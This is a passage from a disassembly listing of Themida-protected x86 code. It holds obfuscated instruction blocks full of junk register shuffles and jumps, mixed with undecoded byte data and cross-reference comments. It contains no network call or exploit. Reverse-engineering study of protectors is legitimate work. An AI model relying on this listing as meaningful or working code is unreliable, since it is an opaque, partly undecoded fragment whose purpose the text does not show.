41FF6C01h shr esi, 2 jmp loc_5501F3 ; --------------------------------------------------------------------------- loc_54AE87: ; CODE XREF: Themida_:0054D138j pop ecx pop ecx jmp loc_548306 ; --------------------------------------------------------------------------- dw 0BE56h dd 710756CEh, 8107EEC1h, 2A3598CEh, 0A5F68104h, 89299604h dd 0E2C15EF2h, 0BEEA8105h, 0E97FA440h, 0FFFFBBB4h ; --------------------------------------------------------------------------- loc_54AEB4: ; CODE XREF: Themida_:0054EDF8j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_547D7B ; --------------------------------------------------------------------------- dw 0F989h dd 0E9E1D15Fh, 0FFFFA72Bh, 7EDC158h, 6FDF581h, 96E928D3h dd 87000051h, 895C2434h, 0EC812414h, 4, 0FF9B84E9h, 0E9C521FFh dd 0FFFFFB17h, 6EAED81h, 0D5F75637h, 2937E9h, 39B85000h dd 0D13D392Bh, 0FFFF05E8h, 0E8C1FFFFh, 16AAE904h, 0C4830000h dd 4C48304h, 26850h, 48B0000h, 0EE53E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AF32: ; CODE XREF: Themida_:0054C216j mov [esp], edx mov dl, 0E4h xor dl, 3Ah add ah, dl mov edx, [esp] add esp, 4 add ch, ah pop eax add ch, 54h xor al, ch pop ecx push edx mov dl, 7Eh or dl, 83h push eax mov ah, 5Fh neg ah sub ah, 63h jmp loc_5475B6 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5C24048Fh, 98F9E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AF6E: ; CODE XREF: Themida_:0054877Ej mov [esp], eax mov eax, 4 sub ebx, 7D351BC9h add ebx, eax jmp loc_5508D4 ; --------------------------------------------------------------------------- loc_54AF83: ; CODE XREF: Themida_:0054F82Fj pop ebp push eax jmp loc_54C44F ; --------------------------------------------------------------------------- dw 5B5Dh dd 81E28952h, 4C2h, 4EA8300h, 0FFD8E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AF9D: ; CODE XREF: Themida_:00544BAEj ; Themida_:005478F7j ... push edi mov edi, esp add edi, 4 push ebx mov ebx, 4 sub edi, ebx pop ebx xchg edi, [esp] jmp loc_545FF6 ; --------------------------------------------------------------------------- db 53h dd 0A4E9F4B3h, 5D000050h, 727B68h, 0A1E0E900h, 0C483FFFFh dd 24048704h, 1489665Ch, 9C506624h, 0FFB4AFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AFDD: ; CODE XREF: Themida_:0054C422j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi sub esp, 4 mov [esp], esp jmp loc_5454CC ; --------------------------------------------------------------------------- dw 8152h dd 42642404h, 0A1E939D4h, 54FFFFCDh, 56241C8Bh, 0BA52E689h dd 4, 0FFAB94E9h, 7EFC0FFh, 0E906EFC0h, 5888h ; --------------------------------------------------------------------------- loc_54B028: ; CODE XREF: Themida_:0054F63Aj mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5509A6 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 51240C8Bh, 0C1815954h, 4, 3304E983h, 8AE9240Ch, 53000058h dd 0F8315B5Fh, 81243C8Bh, 4C4h, 66C33100h, 6600B60Fh, 661CA568h dd 0E9240489h, 0FFFF9ABCh, 55D8295Bh, 0AB5B23BDh, 0DEDEE96Ah dd 6866FFFFh, 0C8E90000h, 29000037h, 0F70158C6h, 4BB535Eh dd 0E9000000h, 0FFFFBFE2h, 8101EA83h, 6B46FBCAh, 98CE935h dd 0FF500000h, 8B042474h, 0C4812404h, 4, 8B24048Fh, 0D3662424h dd 0E99C2404h, 0FFFF95D3h, 4C5815Dh, 0E9000000h, 0D5Bh dd 0E6895658h, 0FFBB8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B0E9: ; CODE XREF: Themida_:0054C16Fj mov [esp], ebx mov ebx, 79B01203h jmp loc_54BCE4 ; --------------------------------------------------------------------------- loc_54B0F6: ; CODE XREF: Themida_:005469B1j mov ebx, ebp jmp loc_54640F ; --------------------------------------------------------------------------- loc_54B0FD: ; CODE XREF: Themida_:0054DA56j jmp loc_547725 ; --------------------------------------------------------------------------- dw 0E95Ah dd 1967h ; --------------------------------------------------------------------------- loc_54B108: ; CODE XREF: Themida_:0054F819j push eax mov al, 10h inc al jmp loc_54DFDB ; --------------------------------------------------------------------------- dw 0E901h dd 83242C8Bh, 0BF5704C4h, 559B5796h, 0D7F7DFF7h, 606DC781h dd 0C7816E6Ch, 3BF84802h, 875FF929h, 895C240Ch, 0CCE9242Ch dd 2D000031h, 6FE627B1h, 0B971E005h, 0E9575D7Dh, 0FFFFDF4Fh ; --------------------------------------------------------------------------- loc_54B150: ; CODE XREF: Themida_:00545444j sub ebp, ecx pop ecx xor ebp, 21682694h shl ebp, 2 jmp loc_54C1E3 ; --------------------------------------------------------------------------- db 5Ch, 81h, 4 dd 531BA524h, 24048114h, 4F6E1D02h, 52240401h, 8904EC83h dd 6BBD242Ch, 5633714Ah, 0FC056B68h, 0F6815E5Dh, 21E35202h dd 0FFA8CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B191: ; CODE XREF: Themida_:0054A933j sub ecx, 0CC688520h and edi, ecx jmp loc_54D02B ; --------------------------------------------------------------------------- dw 3359h dd 14312414h, 24143324h, 0E924248Bh, 0FFFFF321h, 8108EDC1h dd 20BED2EDh, 8BE80184h, 0C481242Ch, 4, 21968h, 240C8900h dd 4976B850h, 53577DAEh, 0DF895B50h, 5FF9895Bh, 0E924048Bh dd 1A8Fh ; --------------------------------------------------------------------------- loc_54B1E4: ; CODE XREF: Themida_:0054C967j pop esp mov [esp], esi jmp loc_544C97 ; --------------------------------------------------------------------------- db 1, 0F7h, 5Eh dd 0C0BF5752h, 0C1114B09h, 0C5E907EFh db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B1FF: ; CODE XREF: Themida_:0054DC39j pop edx shr ebp, 5 dec ebp shl ebp, 5 shl ebp, 6 shr ebp, 7 add ebp, 0FE7745C4h sub esi, ebp pop ebp jmp loc_54C025 ; --------------------------------------------------------------------------- loc_54B21B: ; CODE XREF: Themida_:0054D171j sub dword ptr [esp], 35C92D93h pop eax jmp loc_54BB01 ; --------------------------------------------------------------------------- dd 2ED815Bh, 55000000h, 42474FFh, 4592E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B23A: ; CODE XREF: Themida_:0054C0DBj pop ecx sub edi, 55DA6CCAh shl edi, 5 jmp loc_54F378 ; --------------------------------------------------------------------------- loc_54B249: ; CODE XREF: Themida_:00545694j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54FF23 ; --------------------------------------------------------------------------- byte_54B259 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00544534o dd 17E76824h, 34890000h, 348B5424h, 4C48324h, 673868h dd 241C8900h, 468h, 17E95B00h, 81FFFFA8h, 2F71F4C3h, 452BE939h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B28A: ; CODE XREF: Themida_:00550CC0j add ebp, 226BC1D6h add esi, ebp pop ebp and eax, esi jmp loc_54A22B ; --------------------------------------------------------------------------- dw 0EA83h dd 74FF5204h, 8F5A0424h, 895C2404h, 9C502414h, 0FF93F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B2B1: ; CODE XREF: Themida_:00546AA2j and ebx, 6CB80D92h sub ebx, 0EEC5D936h or eax, ebx pop ebx inc eax shl eax, 5 xor eax, 820C567Eh mov ecx, eax mov eax, [esp] add esp, 4 push ebp mov ebp, 0 sub ebp, ecx push ecx push ebp pop ecx pop ebp pop ebp jmp loc_54F043 ; --------------------------------------------------------------------------- loc_54B2E3: ; CODE XREF: Themida_:00548878j pop esi add esi, ecx mov ecx, [esp] jmp loc_54E690 ; --------------------------------------------------------------------------- dw 815Ah dd 4C2h, 0D489E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B2FA: ; CODE XREF: Themida_:0054C924j add edx, 4 xchg edx, [esp] pop esp push esi mov esi, 4 add edi, esi pop esi xchg edi, [esp] jmp loc_5466B8 ; --------------------------------------------------------------------------- loc_54B315: ; CODE XREF: Themida_:00545D6Bj mov esi, 13641E83h xor esi, ecx pop ecx xor eax, esi pop esi push 2B0Eh jmp loc_54F26D ; --------------------------------------------------------------------------- dw 0F181h dd 0E47AC0A8h, 89CF8957h, 0FEE95FF8h, 0FF000005h, 84E92434h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B343: ; CODE XREF: Themida_:00549ACDj xor edi, esi pop esi mov eax, edi jmp loc_550E22 ; --------------------------------------------------------------------------- db 0B5h, 0E0h, 0F6h aAWaPaav db 'Ý€Íw€ÍP€ív',0 db 0EFh dd 0FFBD9FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B361: ; CODE XREF: Themida_:00544E4Bj add esi, 2030062Dh sub esp, 4 mov [esp], ebp mov ebp, 6F9E51FDh dec ebp jmp loc_54E5DD ; --------------------------------------------------------------------------- db 89h dd 67B9240Ch, 0E946FB60h, 0FFFFA139h, 5124048Bh, 76E9E189h dd 5A00001Ah, 0EEEF814Fh, 1118AD2h, 243C8BFEh, 81E68956h dd 4C6h, 4EE8300h, 0E9243487h, 3A8Bh, 8159CF29h, 794FBAC7h dd 23D5E901h, 1ABA0000h, 81714E05h, 0A85CB2F2h, 8EAC100h dd 28C4E9h db 0 ; --------------------------------------------------------------------------- loc_54B3D5: ; CODE XREF: Themida_:0054C2DDj push edx mov edx, 4B000E43h sub edx, 80C0045h shr edx, 5 xchg ebx, edx not ebx xchg ebx, edx inc edx sub edx, 0A33722F4h add ecx, edx pop edx add ecx, 4B296BCEh pop edx jmp loc_54636E ; --------------------------------------------------------------------------- loc_54B400: ; CODE XREF: Themida_:00547796j mov eax, 57A16F4h jmp loc_54DEA3 ; --------------------------------------------------------------------------- loc_54B40A: ; CODE XREF: Themida_:0054CA42j add esi, eax pop eax jmp loc_548C8B ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0C7830000h, 74FF5704h, 8F5F0424h, 1CE92404h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B42B: ; CODE XREF: Themida_:005449B9j add [esp+4], ecx pop ecx jmp loc_54F1EA ; --------------------------------------------------------------------------- loc_54B435: ; CODE XREF: Themida_:0054583Cj pop dword ptr [edi+24h] loc_54B438: ; CODE XREF: Themida_:0054A22Ej push 77E7h mov [esp], ebp jmp loc_544C57 ; --------------------------------------------------------------------------- a1XXms db '1ÅXÑåMé!',9,0 align 10h dd 4EC81h, 0F4E90000h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B45B: ; CODE XREF: Themida_:0054B485j push 6633h mov [esp], ebp push 6F83h mov [esp], edi mov edi, 0FB22912h mov ebp, edi pop edi shr ebp, 2 shr ebp, 2 xor ebp, 5F656C1h jmp loc_5461A7 ; --------------------------------------------------------------------------- loc_54B484: ; CODE XREF: Themida_:0054C4DBj pop ebp jmp loc_54B45B ; --------------------------------------------------------------------------- dw 73BAh dd 566C013Ch, 0FFE5CAE9h db 0FFh byte_54B495 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00544594o dd 5B545324h, 4B951h, 0CB010000h, 8B2434FFh, 6FE9240Ch dd 80FFFFFAh, 0EA80AEF2h, 5AD4287Dh, 0FFEFC2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B4BD: ; CODE XREF: Themida_:0054BE97j push 2A0C779Ch pop edx jmp loc_548ACE ; --------------------------------------------------------------------------- dd 535BE0B8h, 0C5D7E911h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B4D2: ; CODE XREF: Themida_:0054A6BEj xchg esi, [esp] jmp loc_550031 ; --------------------------------------------------------------------------- dw 3C8Bh dd 0E0895024h, 405h, 4BA5200h, 5000000h, 255820BFh, 0BF2DD001h dd 5A255820h, 5C240487h, 41F0E953h, 0EA810000h, 229C0FD3h dd 148BD389h, 4C48324h, 0FF9192E9h, 5B5453FFh, 4BE56h dd 0F3010000h, 6851565Eh, 0FB25158h, 515CBE59h, 0CE310FB2h dd 3684E9h db 0 ; --------------------------------------------------------------------------- loc_54B535: ; CODE XREF: Themida_:00547E29j shr eax, 18h jmp loc_548475 ; --------------------------------------------------------------------------- loc_54B53D: ; CODE XREF: Themida_:0054D490j pop ebx jmp loc_54E3D4 ; --------------------------------------------------------------------------- db 0C1h dd 0BA5208EFh, 1EB9527Ch, 0FFF819E9h, 74C680FFh, 0E9EAB753h dd 0FFFFA96Bh, 0DCE9E801h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B563: ; CODE XREF: Themida_:00544B8Cj pop esi add ecx, ebx pop ebx push 366Ah mov [esp], edi mov edi, 20521DFDh add edi, 97047F2h and edi, 0F0642F9h sub esp, 4 mov [esp], ecx mov ecx, 2B0C5212h jmp loc_54D3C7 ; --------------------------------------------------------------------------- dd 925633BEh, 81EED10Eh, 0A69E0CEh, 4E6C15Dh, 0BF8CBD55h dd 0BA52F4B6h, 765D14AEh, 0FFACF3E9h, 31E951FFh, 5EFFFF97h dd 0B3E9DE21h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B5BF: ; CODE XREF: Themida_:0054F9DBj sub ecx, 6BEE3277h pop ebp sub ecx, 46C447FAh and eax, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_54E8E5 ; --------------------------------------------------------------------------- byte_54B5D9 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:00544564o dd 1E6268h, 241C8900h, 0C0BEB151h, 0E18003E9h, 0D2C1801Bh dd 45C8E9h, 4C48100h, 5000000h, 57C15AF4h, 48F3E956h, 1C870000h dd 24248B24h, 0FFEE35E9h, 7C60B8FFh, 5D0D0169h, 2D269C3Ah dd 36073671h, 0C680540h, 88E92BCCh db 51h, 2 dup(0) byte_54B62B db 66h ; DATA XREF: Themida_:00544508o dd 8124048Bh, 4ECh, 24048900h, 5157E089h, 4B9h, 1E95300h dd 57000001h, 0FF9222E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B64D: ; CODE XREF: Themida_:00547E92j mov ah, 0D3h add ch, ah pop eax mov dl, ch pop ecx mov ah, dl pop edx xor ah, 6Ah push bx mov bh, 2Ch jmp loc_54C20C ; --------------------------------------------------------------------------- dd 1213E981h, 0BD5575D6h, 22153F91h, 2C8BE909h, 4C48324h dd 7CE6BA52h, 0DE962CDh db 1, 2 dup(0) byte_54B683 db 66h ; DATA XREF: Themida_:005445ACo dd 1CE932FFh db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B68B: ; CODE XREF: Themida_:00548220j pop edx jmp loc_545961 ; --------------------------------------------------------------------------- loc_54B691: ; CODE XREF: Themida_:0054DE77j sub ebp, 57E52486h dec ebp jmp loc_54E83A ; --------------------------------------------------------------------------- loc_54B69D: ; CODE XREF: Themida_:0054F333j xor ecx, edx push esi jmp loc_5475AC ; --------------------------------------------------------------------------- db 59h, 81h, 0C1h dd 4, 0FFA46BE9h, 30C681FFh, 14E5774h, 30EE81D6h, 0E94E5774h dd 0FFFFE46Ch ; --------------------------------------------------------------------------- loc_54B6C4: ; CODE XREF: Themida_:0054D918j sub ebx, 77516635h add ecx, ebx pop ebx push edx push ebx mov ebx, 5AA07F7Dh jmp loc_54C4D3 ; --------------------------------------------------------------------------- loc_54B6D9: ; CODE XREF: Themida_:0054F0A1j pop esp push ebx jmp loc_54B9FE ; --------------------------------------------------------------------------- loc_54B6E0: ; CODE XREF: Themida_:0054BE7Cj add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp or edx, eax shl edx, 1 jmp loc_54FCBF ; --------------------------------------------------------------------------- loc_54B6F9: ; CODE XREF: Themida_:00550C6Aj add eax, 25CA01C2h sub eax, ebx sub eax, 25CA01C2h jmp loc_5489D4 ; --------------------------------------------------------------------------- dw 0ABB1h dd 0E95AF130h, 0FFFFB470h, 226868h, 24048900h, 0FF8F86E9h dd 240433FFh, 3DC2E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B72A: ; CODE XREF: Themida_:00546C95j pop ebx jmp loc_5489F8 ; --------------------------------------------------------------------------- dd 50243C8Bh, 405E089h, 5000000h, 4, 0E9240487h, 0FFFFB1EAh dd 0DF89CB89h, 0F801595Bh, 0E9243C8Bh, 0FFFFD332h, 0E9240433h dd 0FFFFEF7Bh, 375BD55h, 0E5C100C0h, 50716805h, 14890000h dd 6A9BA24h, 24E96DD3h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B77B: ; CODE XREF: Themida_:00548822j push 3975h mov [esp], eax mov eax, esp add eax, 4 push edx jmp loc_54D064 ; --------------------------------------------------------------------------- dd 198EF281h, 0FDE9138Eh, 88000042h, 0FE5866C6h, 0B0E680CEh dd 8803EE80h, 0E0E95AF5h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B7AF: ; CODE XREF: Themida_:005474BEj mov [esp], ecx jmp loc_54E320 ; --------------------------------------------------------------------------- db 1 dd 0EA295BDDh, 51C2015Dh, 1F14E9h, 0EDC14500h, 7E5C107h dd 4166E9h db 0 ; --------------------------------------------------------------------------- loc_54B7D1: ; CODE XREF: Themida_:0054AC72j xor edx, 59F82877h neg edx shr edx, 3 sub edx, 16524629h xor edx, 5A5EC9AEh jmp loc_548105 ; --------------------------------------------------------------------------- loc_54B7ED: ; CODE XREF: Themida_:00547D92j sub ecx, esi mov esi, [esp] add esp, 4 jmp loc_54C2D5 ; --------------------------------------------------------------------------- loc_54B7FD: ; CODE XREF: Themida_:0054B986j pop eax mov ecx, [esp] push eax jmp loc_550876 ; --------------------------------------------------------------------------- loc_54B807: ; CODE XREF: Themida_:005484E9j pop eax jmp loc_54F185 ; --------------------------------------------------------------------------- byte_54B80D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00544410o dd 1F66E924h, 0FD090000h, 0E6ED815Fh, 557FF578h, 0CF00D3BDh dd 1AED817Dh, 0E90C68B3h, 1946h, 0C1814949h, 1, 1DD1E981h dd 0F2E93156h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B843: ; CODE XREF: Themida_:0054D3D4j shl ecx, 6 shr ecx, 7 sub ecx, 0A886972h add edi, ecx mov ecx, [esp] jmp loc_54DE3D ; --------------------------------------------------------------------------- db 0BBh, 0B1h, 53h dd 0E4E95AC1h, 81000015h, 64275BC2h, 81F2291Fh, 64275BEAh dd 30E95E1Fh, 57FFFF8Eh, 42474FFh, 81243C8Bh, 4C4h, 24048F00h dd 6624248Bh, 66240C89h, 66C8B60Fh, 0CE99C51h, 28FFFF8Eh dd 4492CD0h, 0DADEE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B8A6: ; CODE XREF: Themida_:0054840Aj pop ecx xor eax, ecx pop ecx xor eax, 60A62A91h shr eax, 8 jmp loc_545C80 ; --------------------------------------------------------------------------- byte_54B8B7 db 0ADh ; DATA XREF: Themida_:00544550o dd 1AA005h, 56D8295Fh, 4800E9h db 0 byte_54B8C5 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:005445D4o dd 4EC81h, 0E90000h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B8D3: ; CODE XREF: Themida_:005455F2j add esp, 4 sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5486FB ; --------------------------------------------------------------------------- dw 0C885h dd 8DB5E99Ch db 2 dup(0FFh) word_54B8F2 dw 8B66h ; DATA XREF: Themida_:005444D8o dd 10E92404h, 89FFFFA9h, 9BB9E9D0h, 0D101FFFFh, 6EF1815Ah dd 0E9C59E8Bh, 16B2h, 8B240433h, 0F662424h, 70E9C8AFh dd 8100001Eh, 4C3h, 4C38100h, 33000000h, 1C31241Ch, 241C3324h dd 0FF91AEE9h, 2434FFFFh, 4C48159h, 1000000h, 8B042444h dd 0C4832404h, 8D55E904h, 815EFFFFh, 4C4h, 2C28100h, 87000000h dd 0E95C2414h, 0FFFFC26Dh, 0E92434FFh, 2E0Dh, 590EE952h dd 0E95A0000h, 0FFFFC86Dh ; --------------------------------------------------------------------------- loc_54B97C: ; CODE XREF: Themida_:0054ED3Dj push eax mov eax, 37E21120h xor [esp+4], eax jmp loc_54B7FD ; --------------------------------------------------------------------------- db 5Bh dd 5C24048Fh, 9C2424D3h, 0FF8D0EE9h, 242C89FFh, 42474FFh dd 56242C8Bh, 24348B54h, 0FFD092E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B9AD: ; CODE XREF: Themida_:005451A5j neg ecx add ecx, 2D1C617Ah jmp loc_548653 ; --------------------------------------------------------------------------- dw 0E681h dd 3B2D5B13h, 339ECE81h, 0F6815D28h, 65AF6E27h, 0E24CC681h dd 0F001E57Dh, 8124348Bh, 4C4h, 4C08300h, 2474FF50h, 48F5804h dd 89515C24h, 4C181E1h, 81000000h, 4E9h, 18CFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B9FE: ; CODE XREF: Themida_:0054B6DBj mov ebx, 5F0D1484h add ebx, 7BB4741Bh add ebx, 9D89E37Ch shl ebx, 8 push esi jmp loc_544809 ; --------------------------------------------------------------------------- dd 51F7815Eh, 811B8847h, 0AF6F52CFh, 0F7E7D17Ch, 47D7F7DFh dd 0FFFFEF81h, 0C781FFFFh, 1773A12Ch, 41695D05h, 2F56E93Eh dd 0C2810000h, 426B4482h, 5C3CB951h, 5AE957C0h, 54000028h dd 0D9E9555Fh, 0C1000009h, 0E94E03E6h, 0FFFFEC96h ; --------------------------------------------------------------------------- loc_54BA64: ; CODE XREF: Themida_:00547FEAj add ebx, esi jmp loc_54E168 ; --------------------------------------------------------------------------- db 5Ah dd 1C8BDD31h, 4C48324h, 0B1C5814Dh, 8178F41Ah, 0B16FB3C5h dd 3906E911h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BA86: ; CODE XREF: Themida_:0054F473j xor ebx, eax jmp loc_54F20A ; --------------------------------------------------------------------------- loc_54BA8D: ; CODE XREF: Themida_:00547216j mov [esp], ecx mov ecx, esp push edx mov edx, 4D56353Ah not edx and edx, 3365BACh xor edx, 2204A80h add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] pop esp mov ebp, 0E43B979Dh sub ebp, 54550EBBh add ebp, edi add ebp, 54550EBBh jmp loc_54C83B ; --------------------------------------------------------------------------- dd 0DAE9E689h, 81FFFFA2h, 0E023B6C5h, 0EA015A3Ah, 4C2815Dh dd 87000000h, 0D35C2414h, 0A8E92424h, 89000000h, 4C581E5h dd 81000000h, 4C5h, 242C8700h, 0FF9926E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BB01: ; CODE XREF: Themida_:0054B223j add eax, 35C92D93h pop ecx xor eax, edi pop edi or eax, 298008BCh shl eax, 4 push esi mov esi, 0D2C8A123h jmp loc_546055 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 68000000h, 70EFh, 0E9241C89h, 0FFFFBAFBh, 815AD301h dd 2C3h, 241C3300h, 33241C31h, 6DE9241Ch, 1FFFFC7h, 14335BDAh dd 24143124h, 0E9241433h, 0FFFFC15Ah, 815DE901h, 4ECh dd 241C8900h, 2BE56h, 0F3890000h, 0E227E95Eh, 429FFFFh dd 3D685224h, 5A499D64h, 4244481h, 7BEA10B0h, 4245401h dd 10B0BD55h, 0C2E97BEAh, 0E9000040h, 0FFFF8B0Fh ; --------------------------------------------------------------------------- loc_54BB98: ; CODE XREF: Themida_:00548811j add ecx, edx pop edx xor ecx, edi pop edi xor ecx, eax mov eax, [esp] jmp loc_54E787 ; --------------------------------------------------------------------------- dd 7A06BEh, 8E6C103h, 3E6C14Eh, 0FE58C681h, 0F3291485h dd 8124348Bh, 4C4h, 0E9008F00h, 0FFFF8ADBh ; --------------------------------------------------------------------------- loc_54BBCC: ; CODE XREF: Themida_:0054A8E3j mov ecx, ebp pop ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_550B68 ; --------------------------------------------------------------------------- loc_54BBE0: ; CODE XREF: Themida_:0054F270j push 42E5h mov [esp], edi sub esp, 4 mov [esp], eax mov eax, 0BBA3FFFh mov edi, 2780A862h sub edi, eax mov eax, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_547215 ; --------------------------------------------------------------------------- loc_54BC14: ; CODE XREF: Themida_:0054BFBDj add esp, 4 push ebx jmp loc_546C31 ; --------------------------------------------------------------------------- dd 4C481h, 0EE810000h, 84ED4753h, 0FFEBF4E9h, 0C4835BFFh dd 0F2A9E904h, 0D15EFFFFh, 3EDC1EDh, 6D6CC581h, 0C5817329h dd 8A6B5BF3h, 2C8BE901h, 4C48124h, 33000000h, 0C31240Ch dd 240C3324h, 6624248Bh, 2404AB0Fh, 8A39E99Ch, 0C481FFFFh dd 4, 81E18951h, 4C1h, 1EBBE900h, 0ED810000h, 4, 0E9242C87h dd 0E77h, 8924248Bh, 0EC83241Ch, 0DF34E904h, 9B7FFFFh dd 885BF988h, 2434FFCBh, 0FFBDA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BCAD: ; CODE XREF: Themida_:00548B64j pop eax jmp loc_55058B ; --------------------------------------------------------------------------- loc_54BCB3: ; CODE XREF: Themida_:005475B1j xor esi, 0A492D2D8h sub ecx, esi jmp loc_54797D ; --------------------------------------------------------------------------- loc_54BCC0: ; CODE XREF: Themida_:0054E335j mov ebx, 5D4E6AB5h xor ebx, 5D4E6AB1h add esi, ebx pop ebx jmp loc_54E8CB ; --------------------------------------------------------------------------- db 81h dd 1226E7F3h, 0BFC38165h, 0E99A6C99h, 0FFFFB324h ; --------------------------------------------------------------------------- loc_54BCE4: ; CODE XREF: Themida_:0054B0F1j xchg eax, ebx not eax xchg eax, ebx or ebx, 159677EEh shr ebx, 8 xor ebx, 530219BCh xor ebx, 5395C667h push ecx mov ecx, 188408A2h jmp loc_54DA9E ; --------------------------------------------------------------------------- loc_54BD08: ; CODE XREF: Themida_:0054BD6Cj not eax jmp loc_54A650 ; --------------------------------------------------------------------------- db 1 dd 0D05BE9DDh, 0F66FFFFh, 9C2404BBh, 4AAEE9h, 0FE596600h dd 6E9C0C1h, 0BF68D9F6h, 8900006Fh, 75B3241Ch, 0FF8BFCE9h dd 55854FFh, 4, 0D1BAE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BD46: ; CODE XREF: Themida_:0054D559j pop dword ptr [esp] pop esp jmp loc_54F78F ; --------------------------------------------------------------------------- db 51h dd 0ED808BB5h, 151FE965h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BD5A: ; CODE XREF: Themida_:0054F72Ej pop edi xor ebp, 5D811C53h jmp loc_549340 ; --------------------------------------------------------------------------- loc_54BD66: ; CODE XREF: Themida_:00545803j mov esi, [esp] add esp, 4 jmp loc_54BD08 ; --------------------------------------------------------------------------- db 57h, 0BFh, 5Fh dd 29088AE9h, 93E95FFDh, 0B6FFFF8Eh, 0CAC78026h, 0EF80F700h dd 0E322E9CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BD8E: ; CODE XREF: Themida_:00548AD6j pop edx add ebp, esi pop esi add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_54D302 ; --------------------------------------------------------------------------- dd 8924248Bh, 4BE2434h, 1000000h, 2434FFF2h, 0FFFB9DE9h dd 0FC868FFh, 0E3E90000h, 68FFFFEAh, 4, 0FFF967E9h, 5507BDFFh dd 3BE9580Ah, 0C1000027h, 0BE5602EBh, 3DBA48FEh, 0FF99A0E9h dd 4F281FFh, 29CE52F8h, 31E0E9D3h, 0E95C0000h, 819h, 4C481h dd 0E9530000h, 3E93h, 866EF680h, 0EC8850EEh, 0BDE9D4F6h dd 0D1000043h, 0DBC181E9h, 8900FDFDh, 0BE5659CAh, 1FD9521Fh dd 0FF955FE9h, 2424D2FFh, 8879E99Ch, 8950FFFFh, 405E0h dd 7E90000h, 68FFFF9Fh, 2E49h, 0E9240489h, 0FFFFBB6Eh ; --------------------------------------------------------------------------- loc_54BE48: ; CODE XREF: Themida_:0054F35Bj push ebx jmp loc_54E86D ; --------------------------------------------------------------------------- dw 835Fh dd 148704C2h, 3D6FE924h, 564B0000h, 102FE9h, 242C3100h dd 8B242C33h, 89662424h, 91E92404h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BE73: ; CODE XREF: Themida_:00544D68j mov edx, [esp] add esp, 4 jmp loc_54B6E0 ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 5C010000h, 0FF5B0424h, 34FF2434h db 24h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi push edx jmp loc_54B4BD ; --------------------------------------------------------------------------- dd 0A5113FBFh, 4BF1E95Bh, 0C2810000h, 0D2806E62h, 875AD701h dd 685C243Ch, 72Bh, 88240C89h, 872C88DDh, 2434FF59h, 81241C8Bh dd 4C4h, 4C48300h, 0FF87D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BED5: ; CODE XREF: Themida_:00550AC3j sub esi, eax pop eax push eax jmp loc_5466D4 ; --------------------------------------------------------------------------- dw 0C148h dd 0F75004E8h, 48582414h, 9263F805h, 58C60104h, 5C243487h dd 3EFAF781h, 0FB890EB4h, 81243C8Bh, 4C4h, 4EC8300h, 0FFDA4FE9h dd 5FF801FFh, 1AA005h, 0E9E80102h, 0FFFFE13Dh ; --------------------------------------------------------------------------- loc_54BF1C: ; CODE XREF: Themida_:0054499Fj xor edi, ecx xor ecx, edi xor edi, ecx xor [esp], edi xor edi, [esp] jmp loc_548734 ; 